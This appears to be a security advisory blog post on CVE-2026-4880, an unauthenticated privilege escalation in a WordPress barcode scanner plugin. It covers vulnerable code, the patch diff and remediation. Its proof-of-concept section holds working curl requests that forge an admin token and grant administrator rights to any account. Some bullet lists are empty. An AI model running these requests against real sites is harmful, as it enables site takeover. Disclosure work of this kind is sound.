CVE-2026-4880: Barcode Scanner Plugin Privilege Escalation

CVE-2026-4880 is a CVSS 9.8 Critical unauthenticated privilege escalation vulnerability in the Barcode Scanner (+Mobile App) WordPress plugin. The flaw chains an insecure token bypass with an unrestricted user-meta write. In two HTTP requests, a remote attacker can escalate any WordPress account to full administrator — no credentials required.

Vulnerability Summary

FieldValue
Plugin NameBarcode Scanner (+Mobile App) – Inventory manager, Order fulfillment system, POS (Point of Sale)
Plugin Slugbarcode-scanner-lite-pos-to-manage-products-inventory-and-orders
CVE IDCVE-2026-4880
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Privilege Escalation via Insecure Token Authentication (Improper Privilege Management)
Affected Versions<= 1.11.0
Patched Version1.12.0
PublishedApril 15, 2026
ResearcherJude Nwadinobi
Wordfence AdvisoryLink

Description

The Barcode Scanner (+Mobile App) plugin for WordPress is vulnerable to privilege escalation via insecure token-based authentication in all versions up to and including 1.11.0. The plugin has three weaknesses that combine into one exploit:

An unauthenticated attacker can exploit these together. First, they spoof the admin user ID to leak the admin’s authentication token. Then they use that token to overwrite any user’s wp_capabilities meta, gaining full administrator access.


Technical Analysis

Overview of the Three-Chained Weaknesses

The exploit chains three independent security weaknesses:

  1. Insecure token validation in Users::getUserId() — accepts a forged base64-encoded user ID as authentication proof
  2. Unauthenticated token disclosure via barcodeScannerConfigs — leaks any user’s stored session token by spoofing their user ID
  3. Arbitrary user-meta write in setUserMeta — no meta-key allowlist and no ownership check on the target user ID

Weakness 1: Base64 User-ID Spoofing — Users::getUserId()

File: src/API/classes/Users.php, lines 30–53

public static function getUserId($request)
{
    global $wpdb;

    $userId = get_current_user_id();
    $token  = $request->get_param("token");

    if (!$userId && $token) {
        try {
            if (preg_match("/^([0-9]+)/", @base64_decode($token), $m)) {
                if ($m && count($m) > 0 && is_numeric($m[0])) {
                    $userId = $m[0];   // <-- TRUSTS THE DECODED VALUE AS A REAL USER ID
                }
            } else {
                $meta = $wpdb->get_row("SELECT * FROM {$wpdb->usermeta}
                    WHERE meta_key = 'barcode_scanner_app_otp'
                    AND meta_value = '{$token}';");
                $userId = $meta ? $meta->user_id : $userId;
            }
        } catch (\Throwable $th) {}
    }
    return $userId;
}

Root cause: The if branch decodes the token from base64 and — if the result begins with digits — uses those digits as the authenticated user ID with zero database verification. An attacker who sends MQ== (base64 of "1") causes the function to return 1 (the WordPress admin user), even though no credential was provided.

The same flaw exists in Auth::getUserId() (src/API/classes/Auth.php, lines 221–267), which is used to authenticate API requests in AjaxRoutes.

Weakness 2: Unauthenticated Token Disclosure via barcodeScannerConfigs

File: src/Core.php, lines 83–85 and 350–498

// Core.php — triggered without any authentication check
if (isset($_GET["action"]) && $_GET["action"] == "barcodeScannerConfigs") {
    add_action('init', array($this, 'handleConfigs'), 999999);
}

When ?action=barcodeScannerConfigs is present in the request, handleConfigs() fires on WordPress init — unauthenticated, no nonce. It calls adminEnqueueScripts(true), which:

  1. Resolves the user via the spoofable Users::getUserId() (Weakness 1)
  2. Calls Users::getUToken($userId, $platform) to obtain or create the user’s barcode_scanner_web_otp token
// src/API/classes/Users.php — getUToken()
public static function getUToken($userId, $platform)
{
    $token = get_user_meta($userId, 'barcode_scanner_web_otp', true);
    if ($token) {
        return $token;                          // Returns the existing web OTP
    } else {
        $token = md5(time());
        update_user_meta($userId, 'barcode_scanner_web_otp', $token);
        return $token;                          // Creates and returns a new one
    }
}

The result is serialized into the JSON response under usbs.utoken at Core.php line 498:

'utoken' => Users::getUToken($userId, $platform),

By spoofing userId = 1 (admin), an attacker receives the administrator’s barcode_scanner_web_otp in plaintext.

Weakness 3: Arbitrary User-Meta Write via setUserMeta

File: src/API/actions/UsersActions.php, lines 339–353

public function setUserMeta(WP_REST_Request $request) {
    $userId = $request->get_param("userId");    // Attacker controls the target user ID
    $fields = $request->get_param("fields");
    $errors = array();

    try {
        foreach ($fields as $field) {
            \update_user_meta($userId, $field['meta_key'], $field['meta_value']); // No allowlist!
        }
    } catch (\Throwable $th) {
        $errors[] = $th->getMessage();
    }

    return rest_ensure_response(array("errors" => $errors, "fields" => $this->getUserMeta($userId)));
}

Two critical flaws:

Full Execution Path

Request 1 (leak admin token):
GET /?action=barcodeScannerConfigs&token=MQ==   (MQ== = base64("1"))

    Core::__construct()
     └─ add_action('init', 'handleConfigs')

    Core::handleConfigs()
     └─ adminEnqueueScripts($isAjax=true)
         ├─ Users::getUserId($request)          → returns 1 via base64 decode
         └─ Users::getUToken(1, $platform)      → returns admin's barcode_scanner_web_otp
             └─ RESPONSE: {"usbs":{"utoken":"<LEAKED_TOKEN>", ...}}

Request 2 (privilege escalation):
GET  /?action=barcodeScannerAction&token=<LEAKED_TOKEN>&platform=android
POST body: {"rout":"setUserMeta","userId":<TARGET_UID>,"fields":[{"meta_key":"wp_capabilities","meta_value":{"administrator":true}}]}

    Core::ajaxRequest()
     └─ AjaxRoutes($post, $get, $this)
         ├─ Auth::check(token=<LEAKED_TOKEN>)
         │    └─ DB lookup: meta_key IN ('barcode_scanner_app_otp','barcode_scanner_web_otp')
         │         → Finds admin's web_otp → returns TRUE
         ├─ Auth::getUserId(token=<LEAKED_TOKEN>) → returns 1 (admin)
         ├─ Users::setUserId(1)
         ├─ wp_set_current_user(1)               ← triggered by platform=android
         ├─ PermissionsHelper::init($request)
         │    └─ getUserRolePermissions(0)
         │         └─ get_current_user_id()      → returns 1 (after wp_set_current_user)
         │              → loads administrator permissions (orders=1 ✓)
         └─ setUserMeta($request)
              ├─ $userId = $request->get_param("userId") → attacker-supplied target
              └─ update_user_meta($userId, "wp_capabilities", {"administrator":true})

Root Cause

The legitimate login flow (usbs_auth) issues tokens of the form base64_encode("{userId}{siteUrl}"). The Users::getUserId() function decodes these tokens and extracts the leading numeric user ID. However, it never checks whether the decoded ID matches the correct site URL, or whether any matching record exists in the database. An attacker who sends base64_encode("1") passes the check the same way a real token for user 1 would.

Why Existing Controls Failed

Each of these three weaknesses exists partly because the plugin’s other safeguards had gaps too:

Attack Impact

An unauthenticated remote attacker can:


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only.

Prerequisites

Step-by-Step Reproduction

Step 1: Identify admin user ID (usually 1)

WordPress admin accounts are created as user ID 1 by default. Confirm by observing the author archive URL or user enumeration.

Step 2: Forge an admin-spoofing token

The token format expected by Users::getUserId() is base64_encode("{userId}"). For admin (ID=1):

# base64 encode of "1" = MQ==
python3 -c "import base64; print(base64.b64encode(b'1').decode())"
# Output: MQ==

Step 3: Leak the admin’s authentication token

Send an unauthenticated GET request to the barcodeScannerConfigs endpoint with the spoofed token:

curl -s "https://TARGET.COM/?action=barcodeScannerConfigs&token=MQ==" \
  | python3 -m json.tool | grep utoken

Expected response excerpt:

{
  "usbs": {
    "utoken": "a3f1b2c4d5e6f7890123456789abcdef",
    ...
  }
}

Save the utoken value as LEAKED_TOKEN.

Step 4: Obtain a target user ID to escalate

If WordPress user registration is open, register a new account and note the user ID assigned. In WooCommerce sites, customer account creation is typically enabled. The assigned user ID can be found in:

Alternatively, target any known non-admin user ID on the site.

Set TARGET_UID to the user ID you want to escalate.

Step 5: Escalate the target account to administrator

LEAKED_TOKEN="a3f1b2c4d5e6f7890123456789abcdef"
TARGET_UID=3   # The user ID you want to escalate
TARGET_SITE="https://TARGET.COM"

curl -s -X POST \
  "${TARGET_SITE}/?action=barcodeScannerAction&token=${LEAKED_TOKEN}&platform=android" \
  -H "Content-Type: application/json" \
  -d "{
    \"rout\": \"setUserMeta\",
    \"userId\": \"${TARGET_UID}\",
    \"fields\": [
      {
        \"meta_key\": \"wp_capabilities\",
        \"meta_value\": {\"administrator\": true}
      }
    ]
  }"

A successful response will contain no errors and will reflect the updated user meta including the administrator capability.

Step 6: Log in as administrator

Navigate to /wp-login.php and log in with the credentials of the user whose ID was used in Step 5. The account now has full administrator privileges.

Expected Result

The target account is promoted to WordPress administrator. From there, the attacker has full site control: install or remove plugins, create backdoor accounts, read all WooCommerce orders and inventory, and execute arbitrary PHP by uploading a malicious plugin or theme.

Verification

After Step 5, verify via WordPress database or admin panel:

-- Check wp_capabilities for the target user
SELECT meta_value FROM wp_usermeta
WHERE user_id = TARGET_UID
AND meta_key = 'wp_capabilities';
-- Should show: a:1:{s:13:"administrator";b:1;}

Or navigate to /wp-admin/users.php while logged in as the escalated account — the full admin panel should be accessible.


Patch Analysis

What Changed

FileChange
src/API/classes/Users.phpRemoved base64 user-ID spoofing from getUserId()
src/API/classes/Auth.phpRemoved base64 user-ID spoofing from getUserId() and check()
src/API/actions/UsersActions.phpAdded meta-key allowlist; changed userId source from POST body to token-derived identity

Fix Explanation

1. Removal of base64 token spoofing (Users.php and Auth.php)

In the patched version, Users::getUserId() no longer tries to decode a token as a base64 user ID. The entire if (preg_match("/^([0-9]+)/", @base64_decode($token), $m)) block is removed. Token resolution now only does a database lookup against barcode_scanner_app_otp:

// PATCHED — Users.php
$metaApp = $wpdb->get_row($wpdb->prepare(
    "SELECT * FROM {$wpdb->usermeta} WHERE meta_key = 'barcode_scanner_app_otp' AND meta_value = %s;",
    $token
));
$userId = $metaApp ? $metaApp->user_id : $userId;

The same base64 spoofing path is also removed from Auth::getUserId() and Auth::check().

2. Meta-key allowlist and ownership enforcement in setUserMeta

// PATCHED — UsersActions.php
public function setUserMeta(WP_REST_Request $request)
{
    $userId = Users::getUserId($request);   // Derived from authenticated token, not POST body
    $fields = $request->get_param("fields");
    $errors = array();

    try {
        $available = array('usbs_search_input_type', 'orderFulfillmentByDefault');  // Allowlist

        foreach ($fields as $field) {
            if (in_array($field['meta_key'], $available)) {   // Enforced allowlist
                \update_user_meta($userId, $field['meta_key'], $field['meta_value']);
            }
        }
    } catch (\Throwable $th) {
        $errors[] = $th->getMessage();
    }
    ...
}

Both defenses work together:

Is the fix complete? Yes, for the privilege-escalation vector. The barcodeScannerConfigs endpoint still exposes utoken in its response — this is by design for the mobile app. But with base64 spoofing removed, an attacker can no longer forge a user ID to get another user’s token.

Code Diff (Key Changes)

--- a/src/API/classes/Users.php
+++ b/src/API/classes/Users.php
@@ -37,14 +37,8 @@ class Users
         if (!$userId && $token) {
             try {
-                if (preg_match("/^([0-9]+)/", @base64_decode($token), $m)) {
-                    if ($m && count($m) > 0 && is_numeric($m[0])) {
-                        $userId = $m[0];
-                    }
-                } else {
-                    $meta = $wpdb->get_row("SELECT * FROM {$wpdb->usermeta} WHERE meta_key = 'barcode_scanner_app_otp' AND meta_value = '{$token}';");
-                    $userId = $meta ? $meta->user_id : $userId;
-                }
+                $metaApp = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->usermeta} WHERE meta_key = 'barcode_scanner_app_otp' AND meta_value = %s;", $token));
+                $userId = $metaApp ? $metaApp->user_id : $userId;
             } catch (\Throwable $th) {}
         }

--- a/src/API/actions/UsersActions.php
+++ b/src/API/actions/UsersActions.php
@@ -339,10 +339,15 @@ class UsersActions
-    public function setUserMeta(WP_REST_Request $request) {
-        $userId = $request->get_param("userId");
+    public function setUserMeta(WP_REST_Request $request)
+    {
+        $userId = Users::getUserId($request);
         $fields = $request->get_param("fields");
         $errors = array();

         try {
+            $available = array('usbs_search_input_type', 'orderFulfillmentByDefault');
+
             foreach ($fields as $field) {
-                \update_user_meta($userId, $field['meta_key'], $field['meta_value']);
+                if (in_array($field['meta_key'], $available)) {
+                    \update_user_meta($userId, $field['meta_key'], $field['meta_value']);
+                }
             }

Timeline

DateEvent
April 15, 2026Vulnerability publicly disclosed
April 15, 2026Patched version 1.12.0 released

Remediation

Update the barcode-scanner-lite-pos-to-manage-products-inventory-and-orders plugin to version 1.12.0 or later.


References

  1. plugins.trac.wordpress.org — Vulnerable code (Core.php line 498, rev 3391688)
  2. plugins.trac.wordpress.org — Fix changeset 3506824
  3. Wordfence Vulnerability Advisory
  4. CVE-2026-4880 on NVD

Frequently Asked Questions

What is CVE-2026-4880?

CVE-2026-4880 is a CVSS 9.8 Critical unauthenticated privilege escalation vulnerability in the Barcode Scanner (+Mobile App) WordPress plugin that allows a remote attacker to promote any user account to full administrator without any credentials.

Which versions of Barcode Scanner (+Mobile App) are affected by CVE-2026-4880?

All versions up to and including 1.11.0 are vulnerable. Version 1.12.0 contains the fix and is safe to use.

What can an attacker do with CVE-2026-4880?

An attacker can escalate any WordPress user account on the site to administrator level. From there they can install plugins, create backdoor accounts, read all WooCommerce orders and inventory, and execute arbitrary PHP by uploading a malicious plugin or theme.

Does an attacker need to be logged in to exploit CVE-2026-4880?

No. The vulnerability is fully unauthenticated. An attacker needs only two HTTP requests and no account or credentials on the target site.

How do I fix CVE-2026-4880 in Barcode Scanner (+Mobile App)?

Update the plugin to version 1.12.0 or later through your WordPress dashboard under Plugins, or download the latest version directly from the WordPress.org plugin repository.

Has Barcode Scanner (+Mobile App) been patched for CVE-2026-4880?

Yes. The developer released version 1.12.0 on April 15, 2026, which removes the base64 token spoofing path and adds a meta-key allowlist to prevent privilege escalation.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee